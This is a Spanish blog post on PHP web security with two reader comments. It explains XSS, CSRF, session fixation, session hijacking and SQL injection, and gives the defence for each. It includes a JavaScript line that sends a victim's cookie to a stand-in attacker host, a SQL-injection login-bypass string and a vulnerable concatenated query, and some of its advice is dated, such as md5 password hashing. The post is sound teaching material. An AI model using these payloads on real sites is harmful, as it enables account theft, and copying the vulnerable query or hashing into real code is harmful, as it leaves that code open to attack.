Seguridad en PHP

En este pequeño post voy a dar un repaso a algo que la mayoría de programadores web ya saben, pero para no olvidarlo, y por si a alguien le viene bien, voy a resumir los principales puntos en los que debemos cuidar la seguridad de nuestras aplicaciones en PHP.

Todos los datos que procedan del usuario deben ser filtrados.

Esto tenemos que tenerlo grabado a fuego. No podemos confiar en ningún dato que venga del usuario ya que éstos pueden haber sido establecidos malintencionadamente para aprobechar alguna vulnerabilidad de nuestra aplicación. Del mismo modo, tenemos que tener presente que la validación en el lado del cliente es útil sólo a efectos de usabilidad, pero no de seguridad ni de integridad de la información.

Por ejemplo, si un campo de un formulario debe tener un número de 5 cifras, debemos comprobar que esta condución se cumple, y si no, no se utilizará ese valor y se mostrará el error. Si todos los datos pasan los filtros, entonces procedemos con la petición solicitada.

¿Por dónde pueden enviarnos datos los usuarios? Mucha gente sólo vigila los formularios, pero hay muchos campos peligrosos:

  • $_POST – No sólo debemos comprobar los campos convencionales, sino también los ficheros adjuntos (Aunque PHP soluciona la mayoría de los problemas derivados con is_uploaded_file() y con move_uploaded_file()).
  • $_GET – En páginas programadas en MVC todos los “directorios” de las URL son parámetros GET.
  • $_COOKIE – Por las cookies también pueden “colarnos” datos peligrosos.
  • $_SERVER – Uhmmm ¿acaso el user agent o el referer, por ejemplo, no son modificables por el usuario?
  • Recursos externos – Por ejemplo, un fichero RSS construído malintencionadamente.

¿Qué pueden hacer con ellos? Desde ataques SQL-injection, XSS o modificar ficheros en nuestro servidor.

Cross-Site Scripting (XSS)

Sin duda uno de los ataques más conocidos y explotados. Veamos en qué consiste:

  1. Alberto quiere obtener acceso determinados privilegios de nuestra página web.
  2. Para conseguirlos, en los comentarios de un artículo inserta el siguiente código javascript:
    document.location = "http://paginamala.com/?cookie=" + document.cookie;
  3. Mikel, que es el administrador de la página, entra a ese artículo y se ejecuta el código javascript que Alberto ha insertado.
  4. Mikel es entonces redirigido a http://paginamala.com/?cookie=[SU_COOKIE].
  5. Esa página registra la petición y almacena la cookie en un fichero de texto.
  6. Alberto más adelante consulta el fichero de texto y ve que tiene la cookie con la que logra acceso de administrador a tu página.

¿Cómo lo prevenimos? De nuevo como vimos arriba, filtrando el contenido proporcionado por los usuarios. Por ejemplo, siempre deberíamos pasar la función htmlentities() de PHP a los textos que nos pasen, para de ese modo impedir que inserten código javascript.

Cross-Site Request Forgeries – CSRF

Otro ataque bastante popular. Veamos en qué consiste:

  1. En una tienda de comercio electrónico debemos estar autenticado para realizar una compra.
  2. Alberto (Nuestro usuario hacker) ve que para hacer efectiva la compra de, por ejemplo un libro, sólo es necesario acceder a esta URL: /hacer-pedido.php?libro=329001A tenien sesión iniciada en la tienda.
  3. Alberto cuelga enlaces a esa página en otras webs.
  4. Mikel, que ya tiene sesión iniciada en la tienda, hace clic en un enlace (Por ejemplo, una imagen) que Alberto puso para “cazar” a alguien. Al hacer clic ha efectuado una compra sin el desearlo.

¿Cómo lo solucionamos? De primeras utilizando parámetros POST mejor que GET. Esto no solucionará el problema, pero al menos hará más difícil realizar el ataque (Se requiere javascript para poder enviar POST desde un enlace). ¿Qué más debemos hacer? Insertar un campo token en el formulario. Este campo será único para cada usuario, de modo que Alberto no podrá conocer el token de los demás usuarios ni por tanto podrá realizar el ataque.

Session fixation.

PHP por defecto guarda el código de sesión en la variable PHPSESSID en una cookie. Nada nos impide pasar ese valor mediante GET tal que así: http://example.com/?PHPSESSID=CODIGO. ¿Qué ocurre esta vez?

  1. Alberto pone un enlace a <a href=”http://digg.com/?PHPSESSID=3450831″>digg.com</a>
  2. Mikel, ve el link a digg.com y lo sigue. Una vez en Digg ingresa su usuario y contraseña.
  3. Mikel ya ha accedido con su usuario a Digg, el problema es que el código de su sesión lo tiene también Alberto, y puede entrar y acceder a información privada.

¿Cómo lo solucionamos? Este es muy sencillo :) Creando un identificador de sesión por cada petición. De modo que cuando Mikel introduzca su usuario el sistema le devuelva en código de sesión distinto. Esto lo logramos con session_regenerate_id().

Session hijacking

En este caso el atacante no proporcionará un código de sesión, sino que lo obtendrá del usuario por algún medio (Como por ejemplo, esnifando paquetes). ¿Cómo podemos aumentar la seguridad para tratar de evitar esto? Una forma muy sencilla es asociando el user-agent al código de sesión. De este modo si una sesión se inició en Firefox no tiene sentido que se realice después una petición desde IE. Por supuesto también tienen que tenerse en cuenta las consideraciones de los ataques de tipo Session fixation.

SQL-injection

Otro tremendamente conocido. Consiste en modificar una consulta SQL para lograr un objetivo. Por ejemplo, para acceder a una página necesitamos introducir usuario y contraseña, y se construye esta consulta SQL:

$SQL = ‘SELECT id FROM users WHERE username=”‘.$_POST['username'].’” AND password=”‘.md5($_POST['password']).’”‘;

Cuando ejecutamos esa consulta, comprobamos si se devuelve algún resultado. En caso afirmativo, significará necesariamente que han proporcionado un usuario y una contraseña válidos ¿Qué ocurre si el usuario introduce esto?

  • username = robert” OR 1=1 –
  • password = cualquierpassword

La consulta SQL resultante será:

‘SELECT id FROM users WHERE username=”robert” OR 1=1 –’” AND password=”asd734jasdu100sda1″

Con lo cual logra acceso a cualquier cuenta de usuario sin conocer su contraseña

¿Y para prevenirlo? Casi todos los RDBMS proporcionan alguna función nativa para “limpiar” las cadenas de texto. En cualquier caso, si se está utilizando PHP5 podremos emplear la extensión PDO, que de forma nativa nos crea un wrapper para la mayoría de los gestores de bases de datos y, bien mediante funciones nativas, bien mediante código propio, proporciona el método bindParam() para la clase PDOStatment.

Ocultar información

Cuanto menos se sepa de cómo funciona nuestra página web por dentro, mejor (Salvo que sea software libre, por supuesto :D ). Por ejemplo, un atacante puede lograr información “importante” provocando errores voluntariamente para ver el informe que muestra PHP por pantalla (Conocería la estructura de directorios de la aplicación). Del mismo modo, si averigua que usamos una versión en concreto de PHP que es antigua, quizás pueda explotar algún bug conocido para esa versión.

Acciones a tomar para minimizar esta “fuga” de información:

  1. Desactivar display_errors en php.ini (Al menos en la máquina que tengamos en producción).
  2. Mostrar páginas de errores personalizadas.
  3. Y por supuesto, actualizar recientemente la versión de PHP instalada!

Conclusión

¡Realmente son 4 cositas! Filtrar todo, regenerar códigos de sesiones, desactivar salida de errores, tokens en formularios, etc. Lo único que hay que tenerlas presente en todo momento para evitar posibles desastres. Y por cierto, el consejo más importante de todos: ¡¡Desactiva register_globals!!



2 comentarios a “Seguridad en PHP”

  1. Alex  on Abril 28th, 2009

    Muy buen resumen chuso :) . Esto mismo se da en Seguridad Informátice de 5º y es de las pocas cosas útiles que se dan en la superior (aparte de PL)… así que si estás pensando en hacerla, ten claro que es pura titulitis ;) .

    Un plugin de firefox (noscript) previene los ataques XSS en general.

    Lectores de chusete.es… aquí tenéis una buena razon para NO USAR MS Internet Explorer y cambiarlo por un magnífico Firefox+NoScript :)

  2. chusete  on Abril 28th, 2009

    Uhmmm no, si el segundo ciclo tengo muy claro que no lo voy a hacer, pero las ganas de aprender no están saciadas :) Estoy mirándome para certificarme en PHP y en Linux (Creo que ya te lo dije el finde).

    ¿Los apuntes de esa asignatura me los puedo descargar? Estaría guay poder echarlos un vistazo, porque seguro que profundizan mucho más que los sitios que yo he consultado.


Deja un comentario